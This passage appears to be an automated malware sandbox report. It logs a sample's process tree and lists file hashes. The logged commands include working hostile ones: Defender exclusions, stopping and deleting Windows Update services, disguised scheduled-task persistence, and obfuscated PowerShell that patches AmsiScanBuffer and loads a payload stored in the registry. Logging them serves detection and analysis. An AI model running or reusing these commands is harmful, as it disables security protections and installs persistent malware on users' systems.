- Suspicious use of WriteProcessMemory
PID:3420 -
C:\Windows\SysWOW64\schtasks.exe/C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exe"6⤵
- Creates scheduled task(s)
PID:1116
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4772 -s 2523⤵
- Program crash
PID:4636
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1696
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵
- Suspicious use of WriteProcessMemory
PID:488 -
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
PID:3084
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C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
PID:4796
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C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
PID:2396
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C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
PID:5020
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C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
PID:1136
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f3⤵PID:4464
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f3⤵PID:1112
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f3⤵
- Modifies security service
PID:728
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f3⤵PID:2788
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵PID:1792
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#thpqznhs#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'WindowsDefenderSmartScreenQC' /tr '''C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'WindowsDefenderSmartScreenQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderSmartScreenQC" /t REG_SZ /f /d 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe' }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2104
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C:\Windows\System32\dialer.exeC:\Windows\System32\dialer.exe2⤵PID:3416
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵PID:4784
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k WerSvcGroup1⤵PID:884
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 440 -p 4772 -ip 47722⤵PID:4728
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p1⤵PID:3720
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵PID:2668
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵PID:2660
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵PID:2624
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C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵PID:2572
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc1⤵PID:2564
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C:\Windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}1⤵PID:2468
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:2424
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:2412
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:2328
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:2060
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:1280
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:2000
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1936
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵PID:1908
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1772
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵PID:1760
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s FontCache1⤵PID:1676
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:1664
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:1560
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:1492
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1444
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1324
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1268
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵PID:1192
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵PID:1164
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵PID:1128
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "function Local:tPeoSICFkXDm{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$ZctRzBOZnUJyZB,[Parameter(Position=1)][Type]$CAkwAlIolY)$iANeeHvXTVZ=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+'e'+[Char](102)+''+[Char](108)+''+'e'+''+[Char](99)+'te'+[Char](100)+''+'D'+'e'+[Char](108)+''+[Char](101)+'g'+'a'+''+[Char](116)+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+'M'+'e'+''+'m'+'o'+'r'+''+'y'+''+[Char](77)+'odu'+'l'+''+'e'+'',$False).DefineType(''+[Char](77)+''+'y'+''+[Char](68)+'el'+'e'+''+[Char](103)+''+[Char](97)+''+'t'+''+[Char](101)+''+[Char](84)+''+[Char](121)+''+[Char](112)+''+[Char](101)+'','C'+[Char](108)+''+'a'+''+[Char](115)+''+[Char](115)+','+[Char](80)+''+[Char](117)+'b'+'l'+''+[Char](105)+''+'c'+',S'+[Char](101)+''+[Char](97)+''+[Char](108)+''+[Char](101)+''+'d'+''+[Char](44)+'A'+'n'+''+[Char](115)+''+'i'+'Clas'+[Char](115)+','+[Char](65)+''+[Char](117)+''+'t'+'oC'+[Char](108)+''+[Char](97)+''+[Char](115)+'s',[MulticastDelegate]);$iANeeHvXTVZ.DefineConstructor(''+[Char](82)+''+[Char](84)+''+[Char](83)+''+[Char](112)+'ec'+'i'+''+'a'+''+[Char](108)+''+[Char](78)+''+[Char](97)+''+'m'+'e'+[Char](44)+'H'+'i'+''+'d'+''+[Char](101)+''+[Char](66)+'y'+'S'+''+[Char](105)+''+[Char](103)+''+','+''+[Char](80)+'ub'+[Char](108)+''+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$ZctRzBOZnUJyZB).SetImplementationFlags('R'+'u'+''+'n'+''+[Char](116)+''+'i'+'me'+[Char](44)+''+[Char](77)+''+[Char](97)+''+[Char](110)+''+[Char](97)+''+[Char](103)+''+[Char](101)+'d');$iANeeHvXTVZ.DefineMethod(''+[Char](73)+''+[Char](110)+''+[Char](118)+''+'o'+'k'+'e'+'',''+'P'+''+[Char](117)+'b'+'l'+''+[Char](105)+'c,'+[Char](72)+''+'i'+''+[Char](100)+''+[Char](101)+''+'B'+''+[Char](121)+''+[Char](83)+''+[Char](105)+''+[Char](103)+','+[Char](78)+'e'+[Char](119)+''+[Char](83)+'lo'+'t'+''+[Char](44)+''+'V'+''+[Char](105)+'r'+[Char](116)+'u'+'a'+'l',$CAkwAlIolY,$ZctRzBOZnUJyZB).SetImplementationFlags('R'+[Char](117)+''+[Char](110)+''+'t'+'i'+[Char](109)+'e'+','+'M'+'a'+''+[Char](110)+''+[Char](97)+''+'g'+''+'e'+'d');Write-Output $iANeeHvXTVZ.CreateType();}$igrGdyvNhizGy=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+[Char](121)+''+'s'+''+[Char](116)+''+[Char](101)+'m'+[Char](46)+''+'d'+''+[Char](108)+''+[Char](108)+'')}).GetType(''+[Char](77)+''+'i'+'c'+'r'+''+[Char](111)+''+'s'+''+[Char](111)+''+'f'+''+[Char](116)+''+[Char](46)+''+[Char](87)+''+'i'+'n'+[Char](51)+'2'+[Char](46)+'U'+'n'+'s'+[Char](97)+''+'f'+''+[Char](101)+''+'i'+''+'g'+''+[Char](114)+''+[Char](71)+''+'d'+''+'y'+''+[Char](118)+''+'N'+''+'h'+''+[Char](105)+''+[Char](122)+'Gy');$aKHAYfPDUVHikP=$igrGdyvNhizGy.GetMethod('a'+[Char](75)+''+[Char](72)+''+[Char](65)+''+[Char](89)+'f'+'P'+'D'+[Char](85)+'V'+[Char](72)+'ikP',[Reflection.BindingFlags]''+'P'+''+[Char](117)+'bl'+'i'+''+'c'+''+[Char](44)+''+[Char](83)+'ta'+[Char](116)+''+[Char](105)+'c',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$FmXBwwHHZCkphsEEcDZ=tPeoSICFkXDm @([String])([IntPtr]);$vFXWgjXzRzgaOfEVHjQnYC=tPeoSICFkXDm @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$VxxkIphsTTc=$igrGdyvNhizGy.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+[Char](77)+''+[Char](111)+''+[Char](100)+''+[Char](117)+'le'+[Char](72)+''+'a'+''+[Char](110)+'d'+'l'+'e').Invoke($Null,@([Object](''+[Char](107)+'e'+'r'+''+'n'+''+[Char](101)+'l'+[Char](51)+''+[Char](50)+'.'+[Char](100)+''+'l'+''+'l'+'')));$jJiYHqsXVWFnNA=$aKHAYfPDUVHikP.Invoke($Null,@([Object]$VxxkIphsTTc,[Object](''+[Char](76)+''+'o'+''+'a'+'d'+[Char](76)+''+'i'+'b'+[Char](114)+''+'a'+'r'+[Char](121)+''+[Char](65)+'')));$vcITKgFoyXapFlznV=$aKHAYfPDUVHikP.Invoke($Null,@([Object]$VxxkIphsTTc,[Object](''+[Char](86)+''+[Char](105)+''+[Char](114)+''+'t'+''+[Char](117)+''+[Char](97)+'l'+[Char](80)+''+[Char](114)+''+[Char](111)+''+[Char](116)+'e'+[Char](99)+''+[Char](116)+'')));$QcgEgNA=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($jJiYHqsXVWFnNA,$FmXBwwHHZCkphsEEcDZ).Invoke(''+[Char](97)+''+[Char](109)+'si'+[Char](46)+''+[Char](100)+''+[Char](108)+'l');$FHCEMfqyRaxMICBDJ=$aKHAYfPDUVHikP.Invoke($Null,@([Object]$QcgEgNA,[Object](''+[Char](65)+''+[Char](109)+''+'s'+''+[Char](105)+''+[Char](83)+''+'c'+''+[Char](97)+''+[Char](110)+''+[Char](66)+'uf'+'f'+''+'e'+'r')));$NhKerKWLRw=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($vcITKgFoyXapFlznV,$vFXWgjXzRzgaOfEVHjQnYC).Invoke($FHCEMfqyRaxMICBDJ,[uint32]8,4,[ref]$NhKerKWLRw);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$FHCEMfqyRaxMICBDJ,8);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($vcITKgFoyXapFlznV,$vFXWgjXzRzgaOfEVHjQnYC).Invoke($FHCEMfqyRaxMICBDJ,[uint32]8,0x20,[ref]$NhKerKWLRw);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+[Char](79)+''+[Char](70)+''+[Char](84)+''+[Char](87)+'A'+[Char](82)+'E').GetValue(''+[Char](100)+''+'i'+''+[Char](97)+''+'l'+''+[Char](101)+''+[Char](114)+'s'+[Char](116)+''+'a'+''+[Char](103)+''+'e'+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)2⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4248 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:4764
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:HItqDOHPRTSu{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$QppQaGMaPlbwXZ,[Parameter(Position=1)][Type]$lcaiNUSUwi)$YURccsNaDUE=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+'e'+''+[Char](102)+''+[Char](108)+'e'+[Char](99)+''+[Char](116)+'e'+[Char](100)+''+[Char](68)+''+[Char](101)+'l'+[Char](101)+'g'+[Char](97)+''+'t'+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+'n'+''+'M'+''+[Char](101)+''+[Char](109)+''+'o'+''+[Char](114)+'y'+[Char](77)+'o'+'d'+''+'u'+''+[Char](108)+''+'e'+'',$False).DefineType(''+'M'+''+[Char](121)+''+[Char](68)+''+'e'+''+[Char](108)+''+'e'+''+[Char](103)+''+[Char](97)+''+[Char](116)+''+[Char](101)+''+[Char](84)+''+[Char](121)+''+[Char](112)+'e',''+[Char](67)+''+'l'+''+[Char](97)+''+[Char](115)+''+[Char](115)+''+','+'P'+[Char](117)+''+[Char](98)+''+'l'+''+'i'+''+[Char](99)+''+','+'S'+[Char](101)+''+'a'+'l'+[Char](101)+'d,A'+'n'+''+'s'+''+'i'+'C'+[Char](108)+'a'+'s'+''+[Char](115)+''+[Char](44)+''+[Char](65)+''+'u'+''+[Char](116)+''+[Char](111)+''+'C'+''+[Char](108)+''+[Char](97)+''+'s'+''+[Char](115)+'',[MulticastDelegate]);$YURccsNaDUE.DefineConstructor(''+'R'+'T'+'S'+'p'+[Char](101)+''+'c'+''+'i'+''+'a'+''+[Char](108)+''+[Char](78)+''+[Char](97)+'m'+'e'+''+','+''+[Char](72)+''+'i'+''+[Char](100)+''+[Char](101)+''+[Char](66)+''+'y'+''+[Char](83)+''+[Char](105)+''+[Char](103)+''+[Char](44)+''+[Char](80)+'u'+[Char](98)+''+'l'+''+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$QppQaGMaPlbwXZ).SetImplementationFlags(''+[Char](82)+'u'+'n'+''+[Char](116)+'i'+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](77)+''+[Char](97)+''+[Char](110)+'a'+[Char](103)+''+[Char](101)+''+[Char](100)+'');$YURccsNaDUE.DefineMethod('I'+[Char](110)+'vo'+'k'+'e',''+[Char](80)+'u'+'b'+'l'+'i'+''+'c'+''+[Char](44)+''+[Char](72)+''+[Char](105)+''+'d'+''+[Char](101)+''+[Char](66)+'ySig,'+[Char](78)+'ew'+[Char](83)+'lot'+[Char](44)+''+[Char](86)+''+'i'+''+'r'+''+'t'+'u'+[Char](97)+''+[Char](108)+'',$lcaiNUSUwi,$QppQaGMaPlbwXZ).SetImplementationFlags(''+[Char](82)+''+'u'+'n'+[Char](116)+''+[Char](105)+''+'m'+'e'+[Char](44)+''+[Char](77)+'an'+[Char](97)+''+'g'+'ed');Write-Output $YURccsNaDUE.CreateType();}$IFXTLBAyOsrtj=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+'ys'+[Char](116)+''+'e'+'m'+'.'+'d'+[Char](108)+''+[Char](108)+'')}).GetType('M'+[Char](105)+''+'c'+'r'+'o'+''+[Char](115)+''+'o'+''+'f'+''+[Char](116)+''+[Char](46)+'W'+[Char](105)+'n'+[Char](51)+''+'2'+''+[Char](46)+''+[Char](85)+''+'n'+''+[Char](115)+''+'a'+''+[Char](102)+'eI'+'F'+''+'X'+''+[Char](84)+'L'+'B'+'A'+'y'+''+[Char](79)+''+[Char](115)+''+[Char](114)+'t'+[Char](106)+'');$GbbeNAVqgacOeT=$IFXTLBAyOsrtj.GetMethod(''+[Char](71)+''+[Char](98)+'b'+[Char](101)+'NA'+[Char](86)+''+[Char](113)+''+'g'+''+[Char](97)+''+'c'+''+[Char](79)+''+[Char](101)+''+[Char](84)+'',[Reflection.BindingFlags]''+[Char](80)+'ub'+[Char](108)+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](83)+''+[Char](116)+''+[Char](97)+''+[Char](116)+''+[Char](105)+''+[Char](99)+'',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$WyuutVWbIUoxtpjwoTH=HItqDOHPRTSu @([String])([IntPtr]);$fYDKTAtaiWLsAmyrVZGyhJ=HItqDOHPRTSu @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$LIxEVHNpJIQ=$IFXTLBAyOsrtj.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+[Char](77)+''+[Char](111)+''+[Char](100)+''+[Char](117)+'l'+'e'+''+[Char](72)+'a'+[Char](110)+''+[Char](100)+''+'l'+'e').Invoke($Null,@([Object]('ke'+[Char](114)+''+'n'+''+[Char](101)+'l3'+[Char](50)+''+[Char](46)+''+'d'+''+[Char](108)+''+[Char](108)+'')));$lyFTJtAovaEFXM=$GbbeNAVqgacOeT.Invoke($Null,@([Object]$LIxEVHNpJIQ,[Object](''+[Char](76)+'oad'+[Char](76)+'i'+[Char](98)+''+[Char](114)+'a'+[Char](114)+''+'y'+''+[Char](65)+'')));$jKVtuZxFRafIDCnJw=$GbbeNAVqgacOeT.Invoke($Null,@([Object]$LIxEVHNpJIQ,[Object](''+'V'+''+[Char](105)+''+[Char](114)+'t'+'u'+'a'+[Char](108)+'P'+[Char](114)+'ote'+'c'+''+[Char](116)+'')));$HUNdYcb=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($lyFTJtAovaEFXM,$WyuutVWbIUoxtpjwoTH).Invoke(''+[Char](97)+''+[Char](109)+''+'s'+''+[Char](105)+''+'.'+''+[Char](100)+'l'+[Char](108)+'');$omwaobqrXTUpuDIDb=$GbbeNAVqgacOeT.Invoke($Null,@([Object]$HUNdYcb,[Object](''+[Char](65)+''+[Char](109)+''+[Char](115)+''+[Char](105)+''+[Char](83)+'c'+'a'+'nB'+'u'+'f'+'f'+''+[Char](101)+'r')));$XLutoWXSzp=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($jKVtuZxFRafIDCnJw,$fYDKTAtaiWLsAmyrVZGyhJ).Invoke($omwaobqrXTUpuDIDb,[uint32]8,4,[ref]$XLutoWXSzp);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$omwaobqrXTUpuDIDb,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($jKVtuZxFRafIDCnJw,$fYDKTAtaiWLsAmyrVZGyhJ).Invoke($omwaobqrXTUpuDIDb,[uint32]8,0x20,[ref]$XLutoWXSzp);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('SOF'+[Char](84)+'W'+'A'+''+[Char](82)+''+'E'+'').GetValue(''+'d'+''+'i'+''+[Char](97)+'l'+[Char](101)+'r'+[Char](115)+'tag'+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4704 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:4684
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1004
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:976
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:372
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵PID:4036
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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Filesize
4KB
MD5bdb25c22d14ec917e30faf353826c5de
SHA16c2feb9cea9237bc28842ebf2fea68b3bd7ad190
SHA256e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
SHA512b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c
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Filesize
53KB
MD5124edf3ad57549a6e475f3bc4e6cfe51
SHA180f5187eeebb4a304e9caa0ce66fcd78c113d634
SHA256638c51e173ca6b3469494a7e2e0b656021a761f77b4a83f3e430e82e7b9af675
SHA512b6c1a9051feeffad54ba1092fd799d34a9578368d7e66b31780fe478c1def0eb4094dce2879003f7389f2f9d86b94a3ef3975e78092a604597841c9b8db120ee
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Filesize
19KB
MD561159d88eaf0688504ac7068fe64c968
SHA1085a14bf4cac471cd90e250c8306e46a5fb1d665
SHA2568345d3fefc69d31cb80c7b53153d4626b4734ef15af4fbec5a24492cf5f742e6
SHA512f2f4080a85f4271495b78aa35985a404875777bdab14139d74cbc3a50f9a03a02a241cd04524434f78a056b4c56acd4583c6518e04b6bf96d4912ef0238fabb1
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Filesize
1KB
MD5c697637a9b17f577fccd7e83a5495810
SHA104e6054584786b88994b0e0a871562227fe2a435
SHA25654992c76969f661b605042ebdc73912dbc42e3f88aa6ffecb7191a598fc17164
SHA51266f85a03889786d2c910880bf32e9ea380740b665f11828d06acb03b6f63fb11be1d70e67acb3bc2118f2c35824919458ce7c85f6843c72a3e5ca44fadc0b3c0
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Filesize
1.4MB
MD5bb86a343080f9f4696c250ef31a18d9d
SHA143b2193dcb1d56eac73ba88a7b461822074192d6
SHA256095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
SHA51224807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560
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Filesize
1.4MB
MD5bb86a343080f9f4696c250ef31a18d9d
SHA143b2193dcb1d56eac73ba88a7b461822074192d6
SHA256095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
SHA51224807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560
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Filesize
3.7MB
MD5f5c51e7760315ad0f0238d268c03c60e
SHA185ebaaa9685634143a72bc82c6e7df87a78eed4c
SHA256ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
SHA512d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35
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Filesize
3.7MB
MD5f5c51e7760315ad0f0238d268c03c60e
SHA185ebaaa9685634143a72bc82c6e7df87a78eed4c
SHA256ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
SHA512d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35
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Filesize
1.4MB
MD5b6bbab9f72c88d07b484cc339c475e75
SHA1f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
SHA256dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
SHA5121ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5
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Filesize
1.4MB
MD5b6bbab9f72c88d07b484cc339c475e75
SHA1f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
SHA256dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
SHA5121ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5